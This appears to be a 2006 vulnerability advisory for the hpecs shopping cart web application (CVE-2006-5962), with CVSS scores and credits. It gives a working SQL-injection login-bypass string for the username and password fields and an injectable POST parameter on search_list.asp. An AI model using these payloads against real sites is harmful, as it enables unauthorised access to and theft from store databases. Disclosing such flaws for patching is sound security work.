hpecs shopping cart[login bypass & injection sql (post)]

2006.11.19

Credit: laurent gaffi & benjamin moss

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-5962

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

vendor site:http://hpe.net/
product:hpecs shopping cart
bug:injection sql
risk:high

login bypass :
username:     'or''='
passwd:       'or''='

injection sql (post) :

http://site.com/search_list.asp
variables:
Hpecs_Find=maingroup&searchstring='[sql] 
 ( or just post your query in the search engine ... )

laurent gaffi & benjamin moss
http://s-a-p.ca/
contact: saps.audit (at) gmail (dot) com [email concealed]

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

hpecs shopping cart[login bypass & injection sql (post)]

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

hpecs shopping cart[login bypass & injection sql (post)]

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.